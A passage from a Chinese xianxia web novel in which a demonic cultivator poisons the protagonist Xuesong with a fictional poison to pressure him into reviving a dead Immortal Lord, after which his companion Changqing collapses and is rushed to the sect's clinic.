雪松将信将疑,皱着眉头,跟他走了,他把雪松带到了附近的一个小屋子里,关上了门,给雪松倒了茶,一副正儿八经在自己家招待客人的姿态,微笑着说:“请先喝一点茶,润润嗓子吧。”
雪松有点怀疑他在里面下毒,但是想了想,横竖这里是宗门,外面还有长青在蹲守,就算被下毒,也不见得立刻就死,倒不是很需要担心。
更何况,他也不是很脆弱,以他现在的修为,随便下一点毒药,想要毒到他,也是有点困难。
既然如此,还是尝一尝,万一这杯茶里面有什么奇怪的不能说的线索呢?雪松拿起杯子低下头,缓缓品了一口。
茶水有点烫,不过还好,不是很烫,茶叶很绿,香气浓郁,像是好茶,不过他对于茶这方面并不太了解,也不是很想了解,没尝出有毒药,也没尝出什么信息,也就失去了兴趣,把杯子放了回去。
“究竟有什么事?能不能直说?”雪松看着对面问。
“您之前,”对面的人微笑着顿了顿,像是防备有人偷听似的,特意含糊了关键词,但仍然问道,“在我们那里做了许多事情,您都记得吧?”
“记得,怎么了?”雪松听他这么一问,想了一想,自己之前和魔修有关系的事情有多少,中了魔修的毒,拿了魔修的解药,被魔修追杀,被魔修公布了使用解药之后变成魔修又强行逆转回去的留影画面,被魔修抓起来,用法阵转移关到笼子里,答应魔修要复活仙尊……事情还挺多。
不过大部分都已经算是解决了的,唯一一个他印象比较深刻,而且确实没有解决的事情,只有答应复活仙尊的那一件了。
可是不管是什么人,但凡知道和仙尊有关系的事情,也应该知道仙尊死了就是死了,不可能回来了。
那些魔修的脑子里究竟在想什么?他们不会以为,只要让雪松这个和仙尊有关系的人,答应了要复活仙尊,仙尊就一定会被复活吧?!这种事情哪里有这么容易!?这都不是逆天改命了,这是把天轰烂了,自己重新修一遍……
以他对自己的了解来看,就算仙尊和他一点关系都没有,这件事情也是根本不可能的,更别提,他和仙尊共用一个灵魂,只是现在不在同一具身体里面而已,一个灵魂通常使用一具身体,这是很正常的事吧?
如果他或者别的什么人真的把仙尊复活了,他说不定会被奇怪的力量从自己的身体里拽出去,强行塞进那个新制造出来的身体里面,那很诡异啊!不可能也不能可能!他好端端的,一点也不想换身体啊!
之所以说是新制造出来的身体,而不是原来那个,是因为原来那个,变成灰之后就完全散掉了,连灵气也没有了,几乎没有重组的可能,就算重新弄出来了,也很费力气,不如从前那么好用,也未必能坚持多久,还不如重新搞一个新的。
反正都是重新制作,那究竟要做旧的还是做新的,费力气还是不费力气,好用还是不好用,不是一目了然的事吗?
“那很好,”对面点了点头,“您之前答应的事情,还能做到吗?”
雪松注视着他:“你说的事情——”
哪一件?不会真是那件吧?有点过分了!你们之前下毒也就算了,反正现在毒已经解开了,你们追到这里来,非要做那事是什么意思?脑子坏掉了是不是?
“是的,”对面微笑着点了点头,露出了一种原来你明白那我就不用多解释的表情,“您可是亲口答应的!现在不会不作数吧?”
雪松呲的一声冷笑起来,像一团几乎烧到屋顶的火一样,盯着他问:“那件事根本不可能,你知道吧?你们那时候也不是正儿八经的请求!我拒绝过!是你们不允许!要不要我再拒绝一次?能听明白我的话吗?”
“我知道你的意思,”对面站起身来,给他续了一点茶,挥挥手,一个稍安勿躁的姿势,仍然十分平静微笑,像无论如何不会有情绪的人偶,“但你确实已经答应过了。”
“你什么意思?”雪松皱着眉头,如同一颗即将炸开的栗子,整个人散发出一种即将被糖炒得快要爆掉的灼热而危险的气息。
“我联系您,是希望您能够履行承诺,”对面微微弯腰,脸上带着一种小丑似的微笑,但莫名有一点挑衅,可能是太礼貌了,礼貌过头,就不像礼貌了,语言倒是非常直白说,“您不愿意也不行,因为这个房子里,也有毒药哦!”
“什么?”雪松有点惊讶。
对面非常贴心解释说:“毒药是浸在房子里的,我提前吃了解药,所以没事,这种毒药,名叫穿肠散,意思是,只要中了这种毒的人,在发作的时候都会感到肠穿肚烂一样的疼痛,你不会想要忍受那样的痛苦。”
雪松若有所思,疼痛倒也不要紧,只要没人看着,他回自己的洞府吃点止痛药就完了,系统出的止痛药可比市面上所能找到的任何一种止痛药都有效果,而且一点副作用都没有,他不担心这个。
但他看对面似乎还有等待他询问的意思,就好奇问:“这种药什么时候发作?发作有什么条件?我要是什么都不知道,突然在别人面前发作,也不好向他们解释,是不是?万一不小心把你们牵扯出来了,多不合适?”
“您真是一个好奇的人,”对面呵呵呵笑了起来,像个半空中打磕巴的木偶一样,喉咙里听起来像有虫子在爬,“不过我愿意为你解答这些疑惑。
这种毒药每周发作一次,发作的条件是,思念已故之人,不管那个人是你的亲人,朋友还是爱人,只要你想到了,那就会发作。
只不过,平时发作的时候,症状比较轻微,每周固定发作时间,症状就会比较严重,不能见人,最好不要出门。
免得口齿不清,四肢抽搐,身体颤抖,无法行动,看起来太恐怖,又检查不出什么,被人当成故意装样子,以后求救也来不及哦。”
对面露出一副享受一般的笑眯眯的表情,好像饥饿的美食家遇到一顿非常符合心意的大餐一样,用一种温和的目光注视着雪松,好像在等待他露出自己想看见的表情。
可惜,雪松听完,只是嘴角略有抽搐,反而得了镇定剂似的,整个人看起来比之前平静得多。
对面打量了一番雪松发现,他这个状态是想笑,感到了一点疑惑,自己刚才说了什么让人想笑的话吗?应该没有吧?
哪个字值得发笑呢?还是哪一句话?完全是威胁吧?就算不是,也算科普或者解析吧?这种东西哪里好笑了?搞不明白!
修仙者就是古怪!讨厌!
对面坐回自己的位置,倒了一杯茶,气鼓鼓喝了。
雪松看了他一眼,默默挪开目光,勉强收敛好了自己的表情,免得走出去被人问脸上是不是出了什么事,但仍然止不住在心里笑出声来。
难道不好笑吗?对面费尽心思给他下毒,结果发作条件根本对不上,说不定他根本就不会发作,哪怕他确实中了毒!
且不说他身边根本没有什么死掉的人需要怀念的,就算是真有什么人死了,死了也就死了,他有什么可怀念的?
他最多祈祷他们一路顺风。甚至,他觉得他身边大多数死掉的人,对他而言就是,希望死得更惨一点。
千刀万剐也好,碎尸万段也好,五马分尸也好,和他有什么关系呢?他巴不得他们死得透透的!他才不在乎呢!
他不鼓掌庆祝也就算了!怀念?脑子有病!
对面想不出来他为什么觉得想笑,只能归咎于他脑子有问题,因此对他态度更加宽容,十分温和说:“告诉你个事儿!”
雪松看向对面,对面告诉他:“其实这一次的毒不是主要的,因为就算你解了毒,也没有什么大不了的,这只是保险而已,毕竟你之前,已经解除过一次,我们必须要考虑。”
雪松眉头一皱,察觉事情不好,但又不知道他们究竟搞什么幺蛾子,只好继续听着,听见对面对于他的情绪转变十分满意,笑眯眯说:“我们早就考虑到,你其实不想干,这也正常,谁会想要亵渎死者呢?”
雪松用一种有点惊讶和疑惑的目光往对面瞥了一眼,他都不知道,魔修什么时候变得这样正常?
对面脸上的笑容告诉他,魔修其实从来没有正常过,刚才那句话得反着听,他们的意思是,他们对亵渎死者拥有无比强烈的兴趣。
雪松带着嘲讽冷冷呵了一声。只能说庆幸自己现在没有死,不然,不知道这些魔修会把死人搞成什么鬼样子!
“不要太激动,不要带着偏见看我们,不要觉得这有什么不对,世人总是错误的,愚昧无知,可笑至极,”对面仰着头,仿佛隔着天花板正在观察太阳,满脸热情洋溢的笑,迫不及待似的伸出手,语气十分感慨,好像唱歌一样说,“我们是正确的,勇敢的,了不起的,走在一条,黑暗未知,但前途无量的道路上!所有人都应该崇拜我们,感谢我们,为我们如此舍生取义和义无反顾而感到骄傲!”
雪松听着头痛,这些话就好像有人拿锤子在敲他的脑壳,他忍不住站起身来,低声吐槽:“吵死了!”
对面叽里咕噜一大串词,和他们本身根本就不相干!哪一个字沾得上边了?做梦也讲点逻辑吧?
第83章
对面深深叹了一口气, 带着一种非常诡异的包容的无可奈何,好像一个身着黑白色正装脖子上挂着十字架的教堂的神父面对活蹦乱跳还不肯听话的小男孩一样。
雪松感到自己起了一点鸡皮疙瘩,微微皱眉注视着他。
“看来你一点也没听进去, ”对面摇了摇头, 缓缓说,“你真是冥顽不灵, 不思进取, 无知者无畏,朽木不可雕也!”
雪松用一种你这个家伙在说什么鬼话的表情看着他, 虽然一个字也没说,但是这个表情已经说明了一切, 嘲讽隐隐约约透露出来。
雪顶注视着他, 若有所思:“我还以为你之前是装的, 原来你是真的不在乎?自己不去, 别人帮你,你也不肯, 你是怎么想的?仙尊对你那样不重要?”
雪松一时有点控制不住, 挑了挑眉,什么叫真的不在乎?他可能真的不在乎仙尊?当然不可能!
且不说这个身份有修为,有名望,有地位,死了之后还有数不清的人记着,从前做过许多的事, 还有钱放着,没拿到手。
只说他曾经用过这个身份,现在还被人认为是和这个身份曾经纠缠不清,甚至现在都纠缠不清, 他怎么可能不在乎?!
他只是不愿意复活仙尊而已,怎么就不在乎了?在别的地方在乎不行吗?非得复活才叫在乎吗?
你们甚至没好好问一问本人愿不愿意!本人在你们面前,你们也没问!就算你们不知道,本人还活着,但你们以为本人是本人的未亡人,那好歹也问一问吧?争取到同意了吗?你就干?你们就那么想干活吗?这是好活吗?就接?你还好意思说!究竟是谁不在乎?!
要是仙尊对他而言真的一点也不重要,他们怎么会找上他?怎么会认为他可以做这件事?怎么会一次不成,还要干第二次?
他们心里明明有数!是装不知道啊,还是故意找茬儿?魔修又不是众所周知的白莲花,没有出淤泥不染的属性,没有必要明知故问,因为装了也没用,别人不容易被骗,更何况是雪松这个三番四次被他们下套的,那就是故意找茬了?人都中毒了还要找茬?怪不得能当魔修!真讨人厌!
雪松冷哼一声,觉得不存在解释的义务,没有回答。
雪顶看着他的脸,像是忽然想通了,喃喃道:“也对!毕竟是仙尊的道侣。就算是转世重生,只要稍微想起一点,曾经和仙尊相处的经历,会和仙尊有些相似之处,也是难怪。”
雪顶顿了顿,掏出一个盒子,摆在桌子上,向雪松推了过来,脸上露出一种神秘莫测的看好戏的微笑,用循循善诱的语气对他说:“知道这是什么吗?这是我曾经从仙尊那里得来的东西。你不好奇吗?打开看看怎么样?这里没有别人,不会有其他人知道的。”
雪松皱了皱眉,他怎么不知道自己当仙尊的时候,还给过魔修什么东西?被偷的还是被抢的?难道是被骗的?都有可能!他们可不像什么好东西!更不见得要做什么好事!
针对仙尊还差不多,保留仙尊的东西,还在见到仙尊的未完成之后把东西送出去?这种事情发生的可能性不亚于今天世界毁灭。
但他确实想看。对面都把东西摆出来了,他不看多么可惜!他想了一想,横竖对面应该不至于在小房子里单独相处的时候,把他弄死,更何况之前还给他下了毒,如果真要现在弄死他,没必要之前给他下毒,那挺浪费毒药的,毒药也不是从天上掉下来!
既然如此,不看白不看!哪有连送上门的东西都不看的道理?要是藏了什么想知道的东西,这个时候不看之后又被收回去,那不是更可惜了吗?谁知道会不会耽误什么?!
雪松略一犹豫,伸出手去把盒子拿到面前,看了一眼对面,对面仍然是笑盈盈的,注视着他,好像不管他开不开,都不影响对面的态度。
雪松收回目光,打开了那个盒子,看向了盒子里的东西。
雪顶在心中暗叹一声,果然是仙尊的未亡人,一遇到仙尊的事情就失去了理智,也不管安全不安全,一下子就冲上去了。
明明刚开始看样子是不打算打开的,偏偏最后还是开了,还能因为什么呢?不就是因为仙尊!还是因为已经死掉的仙尊!
难以想象仙尊活着的时候,他们的感情究竟有多好!真叫人羡慕啊!好一对苦命鸳鸯!可惜天人永隔,再也无法相见!
真是搞不明白,既然已经生死相别,怎么能不想办法,重新见面呢?难道他不想重新见到仙尊吗?
他真要是不想,就不会连仙尊不知有没有留下来的东西都那么迫不及待想要看一眼了!他明明就是想的!
他为什么拒绝?他为什么做出好像不想的样子?他为什么真的不做?难道是过不去心里的坎?
难道他是觉得这样做,仙尊回来可能会不高兴,所以违背了仙尊的意愿,还不如顺从仙尊,就那么随他去?明明自己心里不高兴!
他果然需要帮助!像他这样想做一件事而受制于各种各样的条件不能做的人,就是最需要他们帮助的人!他们只是在帮他!
他想要复活仙尊,但是又不愿意复活仙尊,那就由他们来帮他,他们来做原因,他们来做推手,他们来做监督,他们来做结果验收!这样对大家都好!
他们愿意!他们心里没有负担!他们不觉得这有什么!他们完全是在帮助别人!他们甚至称得上舍己为人,根本是在做好事!
想不明白,怎么会有人不愿意,也想不明白,怎么会有人觉得他们不好,大约是自己做不到,又嫉妒他们能够做到,他们就是好到这种如同太阳光芒一般刺眼的地步!
他们一点错都没有!他们是好的!他们是好人!他们在做好事!
他们理应得到一切赞赏,但是愚昧无知的凡人蒙蔽了双眼,捂住了耳朵,固执己见,不肯聆听圣主的福音,也不愿接受圣主的福泽,那就应该去死!
他们是在为世界清理蛀虫!这个世界的害虫越少,这个世界发展越好!一点错也没有!杀死异教徒是在清理他们身上的罪恶,是在为他们和自己积攒福报!这是好事!
雪顶的眼中燃起灼热的火光一般的兴奋神色。他发自内心认同自己所做的一切事情,并且想要把眼前的雪松变得和自己一样。
他对一切和教派有关的事情都非常有信心,因为他总觉得,他们是战无不胜的,无所不能的,无边无际的。
那么理所当然的,他觉得天底下的一切的好的人,有能力的人,有脑子的人,都应该成为教派的人,成为和他一样的人,他从来不觉得这有什么不对。
雪松在他这里并不是例外,最多因为和仙尊有无论如何看都解不开的关系,而稍稍特殊一些,需要着重处理,多费一点功夫。
至于雪松本人的意愿,在雪顶看来,反正最后无论如何都是要变得和他一样,那么现在的意愿是无关紧要的,过程也不重要。
他的脸上缓缓露出一个极其温和的微笑,像水煮蛋一样,雪松实在没有办法继续对着盒子里的东西看下去,感到毛骨悚然。
雪松只好啪的一声把盒子盖上,站起身来,拿着盒子盯着他:“我要带走细看看。你还有什么要说的?”
“还有什么?”雪顶想了一想,像一杯无限包容的白开水一样,微笑道:“想知道我是从什么地方得到这东西的吗?下次有空可以来问我哦!”
他抿了抿唇,像一株含羞草一样,脸上甚至微微发红,笑容更加灿烂了一点,往外溢出似的,望着雪松,有一点诡异的含情脉脉说:“运气好的话,也许你可以亲眼看见——”
他顿了顿,没有再说下去,只是意味深长眯了眯眼睛,一种仿佛有什么东西就在这里的暗示。
雪松背后一寒,往周围看了看,没看出什么特别的,觉得自己应该立刻就走,把盒子拿在手里,想了想,又把盒子放进了储物戒指,走到了门口,拉开门之前,又听见雪顶含着笑意对他问:“你已经确认,那就是仙尊的东西了吧?不需要我给你再做什么证明吧?”
雪松顿了一顿,雪顶从他的停顿里,不知明白了什么,嘻嘻笑了起来,笑了一阵,哈哈大笑起来。
不愧是仙尊的未亡人!不需要用东西鉴定,也不需要用法术鉴定,只凭自己的眼睛和手,一下子就能认出来,究竟是不是仙尊的东西,真是爱意深刻!
可惜天人永隔,再深的爱意也没什么用,还不如来点别的东西,好歹实在一些,至少,看得见摸得着,他会感激我的!
雪松见雪顶没什么要说的,看了他一眼,开门走了,走出去好远,还能听见他的笑声,如影随形,像一种诡异的会在夜里找上门来的怪物。
雪松皱着眉头,加快脚步,走得更远了一些,那声音终于像是被风吹碎了一般,不那么明显了,雪松一边往前走,一边放慢了速度,神色复杂,松了一口气。
长青在外面等了半天,没等到人出来,都有点困了,突然听见脚步声,睁开眼睛一看,还真是雪松,正要打招呼,张了张口,声音还没发出来,就看见雪松像一阵风似的吹远了。
长青在原地愣了一下,连忙站起身来,向着雪松离开的方向追了过去,没想到雪松的速度太快,他一时间甚至没看见背影。
长青累得有点气喘吁吁了,倒不是一定追不上,但是在宗门里搞这种无奖竞速,实在是没有必要,赢了也不过抓下来说两句话。
还不如直接去洞府门口堵人。他隐约记得雪松好像明天是要参加新开的那个秘境的,那雪松今天应该会回洞府,他有机会见到人,在雪松的洞府门口。
想清楚之后,他一边喘气一边溜溜哒哒,就到雪松的洞府门口去等人了。本来以为以雪松那种飞快的速度,他很快就能等到人,所以他并没做长期打算。
谁知道左等右等,太阳都快下山了,他还没等到人,他几乎有点怀疑雪松是知道他在这儿,所以为了避开他,往远处跑去了。
可是不应该呀,雪松走的时候根本不像是看见他的样子,雪松跟着那个雪顶,到他看不见的地方去的时候,也不像是发现了他。
难道是那个雪顶对雪松说了什么,所以雪松知道了,他就在附近的事情?也有可能是雪松自己猜出来的,可是如果猜到他在附近,难道不应该直接找他当面质问吗?
毕竟,他暗中偷窥这种事情上不得台面,真要算起来也是他丢脸,除非,雪松真的做了什么见不得人的事,才不敢来找他对质……
算了,也不能把事情想得太坏,也许只是雪松有事,所以半路去做事了,才会这么久没回来?
也有可能是,雪松心情不好,暂时不想见他,又不想回洞府,就找了个没人的地方,一个人呆着?
要么,雪松因为他的不信任而感到伤心,偷偷哭去了,又怕被人发现,他一时半会儿都不回来?
难道是出了什么事?宗门里能出什么事?这里已经比外面安全多了!这也说不准……谁知道会发生什么?
宗门只是相对安全,又不是绝对安全,真要是以为自己待在宗门里就高枕无忧,那有点太放松了……究竟发生了什么?怎么还不回来?
长青在雪松门口走来走去,完全安静不下来,整个人坐立不安,就像是因为一分钟没有联系到人就开始忍不住要发狂的控制欲爆棚的家长一样,就差咬手指头了。
额头上不知不觉冒出汗珠,太阳越来越往下,光线越来越暗,长青看了一眼时间,太晚了!
他忍不下去了,他非得到附近找找不可!他猛然间往外冲了出去,一下子撞上一个人,他皱着眉头,抬头一看,发现是雪松,愣了一下,忍不住喃喃问:“你怎么在这儿?”
我还以为你在别的地方,被人囚禁,被人打断腿,被人捆起来什么的……仔细想想,这些猜测还真不怎么吉利……不说比较好……
雪松一脸疲惫,被他撞了个踉跄,本来以他们的修为不该撞上的,但雪松想着,今天事儿挺多,但勉强也算办完了,好不容易快回家了,明天又要去秘境,现在还是在宗门,用不着那么提防,也就松懈了一些。
没想到啊,没想到,天色不早了,在自己家门口,居然能被等自己半天的人给撞了,雪松都不知道现在应该摆出什么样的表情比较好。
用太严肃认真的表情,好像上纲上线,小肚鸡肠,用太松弛的表情,又好像脑子有问题,什么都不在乎,马上要去死一样。
更别提,他现在觉得自己累得要命,实在没有什么多余的心思去演戏,于是板着一张脸,看了一眼长青,一声不吭,好像没有听见刚才的问话一样,从长青身边绕开,就好像撑杆跳僵尸绕开一只高坚果墙,悄无声息向自己的洞府门口走去,行动路线一点也不笔直,但是非常丝滑,有一种早就计算好了一样的诡异和自然感。
长青本来还想接着问话,看他面无表情,身体僵硬,速度迟缓,想问的话都卡在喉咙里,一时间没问出来,只是呆呆睁着眼睛看着他,觉得他好像是有点什么事,但现在肯定不会说,因为看起来就是快要累死的样子。
但是今天好像也没做什么?能有什么事儿?怎么就累成这样了?散步累还是说话累?出门溜达一圈,累坏了?也不至于吧?精力和体力再怎么消耗也不至于那么少啊?好歹还是个修士!修为还不低呢!
长青犹豫了一下,雪松就以一种极其慢,极其均匀的速度靠近了洞府门口,伸出手去,要开门了,眼看着开了门就是进去,进去就是关门,多半今天没有再问的机会。
长青本来不想今天问他的,但是一想到明天他还要去秘境,说不定又没有说话的机会,等到雪松从秘境回来,还不知道是什么时候,也不知道记不记得今天的事,到时候再问,肯定会被推脱,也有可能是真的被忘掉,还不如今天就问。
虽然雪松看起来累的要死,但毕竟没有真的累死,刚才只是不说话,又不见得是哑巴了,万一能问出什么呢?有些事情还是早点解决比较好。拖久了容易出事!
长青就三步并作两步冲过去,一把拽住了雪松的胳膊,把雪松扯了过来,雪松被迫转了个身面向他,脸上那种幽魂般的气质更重了一些,两只死鱼一般的眼睛看着他,好像刚被人从河里用钩子拽着上颚吊起来。
长青看见雪松这个样子,一时哽了一下,莫名有种自己是在虐待眼睛里透出诡异的光的死鱼的错觉,差点没说出话来。
雪松默不作声,注视着他,站在他面前,好像已经死了一样,给人一种灵魂已经远去,而身体仍然站在原地等待腐烂的感觉。
在长久的沉默之后,长青张了张口,却不知道怎么开头,又沉默了下去,雪松皱着眉头,忍不下去了。
他想早点回到洞府里休息,哪怕是打坐也好,最好一个人呆着,方便他做一些不方便在别人面前做的事。
他问:“什么事?”
长青眨了眨眼睛,眼神如雨中的蝴蝶般躲闪,明明是他挑的头,他现在倒不太好开口了,但他迟疑了一下,还是问了出来:“你不是让我找东西吗?”
其实他本来要问的不是这个,他想问的是一些别的东西,比如你是不是和魔修有关系,比如你们单独谈了些什么,又比如,你们究竟到了什么地方去,为什么一定要专门布置避开其他人的阵法,你又为什么那么行色匆匆,现在看起来还这样疲惫?
但一开口就问这个,似乎有些太直接了,长青不知道雪松会不会有耐心回答他的话,也不觉得雪松现在这个状态,能正儿八经给他一些有用的回答,还是先委婉迂回一下吧。
虽然不知道雪松在他委婉之后,能不能意识到他究竟想问什么,也不知道,雪松有没有那个空档和精气神,但还是试一试吧。
万一能成呢?总要带点希望。
长青眼巴巴望着雪松,雪松愣了一下,用了比平常长几乎一倍的时间才反应过来他在问什么,好像那些话只是从耳朵边跑出去了,而并没有进脑子,甚至是费了一点劲才理解了那句话,好像突然变成了另外一个物种,因为使用另外的语言,所以暂时没有转换过来。
这太荒谬了,长青心想,这才过了多久,怎么可能一下子发生那么大的变化?这不对头!明眼人都看得出来!
“那你找到了吗?”雪松慢吞吞看着他问。
如果是平时,或者精神还算正常的时候,雪松大概会红一红脸,努力镇定或者眼神飘忽,向他东拉西扯一些别的东西,在消磨了时间和微妙的感情之后,才平静下来,开始处理事情,虽然时间线可能稍微拉得长了一点,但处理事情的速度绝对不可能慢。
“我?”长青张了张口,露出为难的神色,欲言又止看着他问:“你并没有给我打开你洞府的钥匙,你忘了?”
雪松眨了眨眼睛,好像想起来了,又好像只是敷衍,一心只想尽快摆脱他,所以根本没有细想他说的任何一个字,只是顺着他说,希望他能尽快结束这段谈话而已。
“那我下次,”雪松顿了顿,好像打算说,那我下次给你,又想起来自己暂时用不着,长青帮忙找东西,最好别让长青进洞府去,就改口说,“下次自己带了东西去,就不麻烦你了。”
雪松说着,对他点了点头,转身要走,好像一条迫不及待从湿漉漉的陌生人手里跳走的泥鳅,恨不得浑身上下都是滑溜溜的粘液和泥浆糊,就差从皮肤底下散发出一种专属于水生物的腥臭味了。
长青怕他就这样真的走了,连忙又拉住他,对他的精神状态很是担忧,皱了皱眉,正想问他,究竟发生了什么,突然动了动鼻子,嗅了嗅空气,更加用力皱起了眉头,闻到了一股浓烈的甜腥味,这气味里还夹杂着一股,浓烈的葡萄的气息,腻得几乎把人呛死,甚至隐约有股酒味。
长青用另外一只手捂了一下额头,感觉世界在眼前天旋地转,下意识干呕了一声,但幸好并没真的吐出来什么,免去了打扫卫生的麻烦。
但即使如此,他也并不好受,眨了眨眼睛,突然有种强烈的困倦,打了一个哈欠,意识到状态不对,又强行把眼睛睁开了。
他觉得自己是瞪着眼睛,但实际上瞪眼睛的状态没有维持一秒,之后一直是眯着,甚至闭着,头一低,就要睡着了的样子。
雪松感到有点疑惑,歪着头看他,像一只从纸箱子里爬出来的毛茸茸的狸花猫,欲言又止问:“你没事吧?”
“没事,”他深吸一口气,努力给出了回答,但是声音非常低,听起来就像喃喃自语,说着说着,刚刚抬起来的头还又低了下去,声音更低,听起来就像睡梦中的呢喃一样,着实含糊不清,而且听得人十分心累说,“你有没有闻到、闻到什么气味?”
他本来想问什么来着?他想问、他想问、他想问的不是这个!仙尊、和仙尊有关系!是什么?魔修、魔修和仙尊?
他努力回忆着自己本来要问的问题,但是一时又想不完全,只能喃喃着含糊不清问:“你和仙尊去见魔修,谈了什么?”
雪松猛然一惊,本来十分困倦的眼睛耷拉下去又起来了,瞪着眼珠子盯着他,目瞪口呆的表情,有一种突然走在路上被人用木棍子捅了一下的感觉。
谁知道话音未落,长青眼睛一闭,头一低,身体一歪,腿一软,整个人一下子就往地面上倒去,看起来像一只被抽走灵魂的布偶。
雪松见此情形又吓了一跳,不过心中有隐隐约约的庆幸,悄悄松了一口气,只要人睡着了,就不会有人追问什么了吧?
他们两个距离挺近的,毕竟长青是要问他话,见他状态不好,又特意离得比平时更近了一点,所以,他这个时候抬起手来是完全可以把人接住的。
他一把抓住了长青,不过,因为太放松了,力气没用对,稍微小了一点,也就没抓住,长青整个人仍然往地上栽倒。
雪松倒吸一口凉气,猛然间用力把他从地上扯了起来,但是这一次的力气又稍微用大了一点,以至于他整个人像旱地拔葱一样,以一种斜斜的抛物线直了起来,从远处看简直像是突然醒过来的僵尸一样可怕!
雪松连忙往左右看,发现没有人,再次松了一口气,这下子也不着急回房间去了,先把昏迷的长青送到回春堂去,看看有没有治再说吧,也不知道究竟是怎么回事。
雪松叹了一口气,回头看了一眼自己近在咫尺的洞府的门口,依依不舍,挥了挥手,仿佛那里有一只大肥猫在等着他回家一样,打完招呼才走的。
走的时候,他手上一用力把人扛了起来,就像扛一颗几十斤的脆爽圆白菜一样,一溜烟就走了出去,到了回春堂。
他平时并不怎么来回春堂,但是久闻大名,早就听说过这里特别忙,不分白天黑夜的那种,现在一看,果然忙得不可开交。
他在门口停了停,不太清楚流程,脸上露出迷茫和困倦交织的,逐渐沉重下去的神色,他感觉自己快要站着睡着了。
这可不行啊,人还没送进去呢,要是自己先睡着了,那多不好!虽然周围不是缺胳膊少腿,就是鲜血淋漓,要么看起来完全不像人了,他两个就是一起躺在这,一时半会儿也不见得是危险性最大,最容易死的,但来都来了,站在门口了,怎么能躺门口而不进去呢?他又不是来门口观光的!
回春从门口路过的时候看见他了,停顿了一下,又倒回来仔仔细细看了看,发现确实认识,从门口走出来,向他打招呼问:“你来干什么?”
毕竟不确定是来聊天的,还是来看病的,要先问一问,如果不是熟人,是不这样问的,怕被投诉。
“这个人忽然说我身上好像有什么味道,”雪松叹了一口气,把扛着的人从肩膀上取下来,像提着一只人形手持布偶一样递了过去,“一下子就晕倒了!”
本来晕倒在别的地方,雪松是懒得管的,反正睡醒了自己就起来了,也不见得是什么大事,但正好晕倒在雪松洞府门口,那就不行了,雪松进出还要从那儿过呢!
到时候人一醒了,立刻在他出来的时候抓着他的领子问,为什么不把他送回春堂,怎么办?
又或者向他问,你是不是背着仙尊去找魔修了?他怎么回答?!一天天的净问这些!没有一个简单问题!不能给点能回答的问题吗?还是送回春堂吧!
至少把人送回春堂之后,长青就算醒过来,想要立刻抓着雪松问点什么,也得先找到人才行。
长青要是醒过来,真想找雪松问什么,少说要从回春堂走到雪松的洞府,有这个功夫,雪松早跑路了,他赶不上的!
毕竟长青醒来也是病体初愈的人,雪松不至于跑不过,他对此有信心。只是不知道为什么,长青莫名其妙就晕倒了。
难道魔修还在雪松的洞府门口下了毒不成?!那就不得不重视了。
回春顺着雪松伸过来的手,看了看他一直扛在肩上的这个人,才发现是长青,吃了一惊。
因为这个人之前昏迷不醒,又低着头,还被雪松挡了一部分,身上穿的没什么特点,回春一直以为雪松扛的,是个在宗门的路上意外昏迷的普通修士,没想到认识。
回春瞪大眼睛,连忙伸出手去,把长青接了,雪松松开手,脸上闪过一丝如释重负的表情,倒不是人真的有多么的重,而是他真不想一直把人扛着了,还挺费事的。
“我这就给他安排床位,”回春一边把长青扛进房间,一边对雪松招手,“请你过来讲一下究竟发生了什么吧,毕竟你是送他过来的人,其他都不清楚情况,要是胡说八道,影响病情诊断就不好了。”
雪松叹了一口气,正想问他能不能直接走,他又背过身去,用后脑勺对着雪松,一边迅速往前走,一边接着说:“要是有人胡说八道,害得我们把他治死了,你这个送他过来,但是又不说清楚情况的人,可是容易被宗门判断要负责任的哦!”
雪松被这一长串话刺激得干呕了一声,无可奈何,睁着一双通红而且有黑眼圈的眼睛,慢吞吞抬起脚步,跟在回春身后,叹着气一步一步往前走了进去,差点就被不高的门槛绊住了。
回春听见砰的一声响,回头看了一下,不知发生了什么,看见他踉跄了一下,扶住门框,觉得应该站得稳,不用自己扶,也就重新转回头去,一边继续往前走,一边解释说:“不好意思啊,本来这里为了受伤生病的修饰进出方便,是没有门槛的。
但是,前阵子忽然说预防什么,而且上面拨了一笔款,就让我们顺便修了门槛,其实这门槛挺矮的。
过两天被人踩踩也就下去了,如果不修,也就跟平地似的,就是走起来稍微有点硌脚,但穿厚鞋子就好了,没关系的。”
雪松稀里糊涂听着,随便点了点头,一直跟他走到了房间里,看他把人放在了床上,开始用非常熟练的速度,检查起昏迷的长青来。
一开始回春的表情还好,甚至有空继续向雪松解释门槛,语气算得上轻松,也不知道是故意为了安抚病人家属练出来的,还是情况真就那么轻松,还是看在他们算是认识的份上,没有那么好紧张,只是语速稍稍快了一点:“我也觉得回春堂这种治病救人的地方,设个门槛不太合理,但我人微言轻,说不上什么话,随便讲讲也就是了。
真要正儿八经在其他人面前说什么,别人未必听,我也未必讲得出来,到时候真要是改了,我还要承担责任,签字付钱看守持续提供相关意见什么的,挺麻烦的,我每天有许多事情想干,不爱给自己找更多的,不提也罢!”
雪松站在床边,随便点了点头,往周围打量了一番,这个房间很大,至少摆了有二十张床。
墙角是一个又高又大,可以抵到天花板上的柜子,柜子上有门,有些门微微开着,露出里面的东西,是一团一团有点厚的,印着新绿回春堂字迹的蓝灰色被子。
正看着,回春突然吸了一口凉气,脸色一下子变了,雪松有点疑惑,看了过去,回春顾不得说话,只是打了个哆嗦,立刻把人从床上捞起来,转移到了另外一个单人病房。
雪松一边跟在回春身后,一边觉得这种情形有些眼熟,稍微一想,想起来了,这不就是,病人出了事故而医院急着争分夺秒处理的样子吗?
他不由得变了变脸色,不是很明白,只是晕倒而已,怎么就突然这么着急了?再怎么样,也上升不到性命攸关的地步吧?
他还中了毒呢!他都没有昏倒!难道是什么他不知道的东西?长青昏迷之前突然变得很困,而且干呕……
回春之前提起葡萄园的事情,也突然干呕了,难道是因为葡萄园?葡萄园的什么呢?奇怪病症吗?回春之前还真说过这个!
可是长青应该没有莫名其妙到葡萄园去,他没什么事要到那边去做,那么,他是被雪松传染的?那雪松怎么没事?
不过如果真是雪松传染的,只能说庆幸雪松今天没有去找什么其他人了,不然被传染的肯定不止长青一个,也就是长青非要抓着他讲话,不然,说不定也不见得会被感染……
怎么越说越倒霉了?算了,不要想了,万一是想错了呢?其实长青并没有什么事,只是突然需要转个病房什么的?如果只是转病房,那事情可就轻得多了!
雪松一边紧张,一边跟着回春,进了病房,周围一大群人不知从哪里冒出来,呼啦啦涌了过来,围在了病床边,神色都十分凝重。
雪松一下子被他们挤到外面去了,接近门口的位置,不过他毕竟也不是医生,被挤出来,倒也不影响什么,他也就站在门口看了。
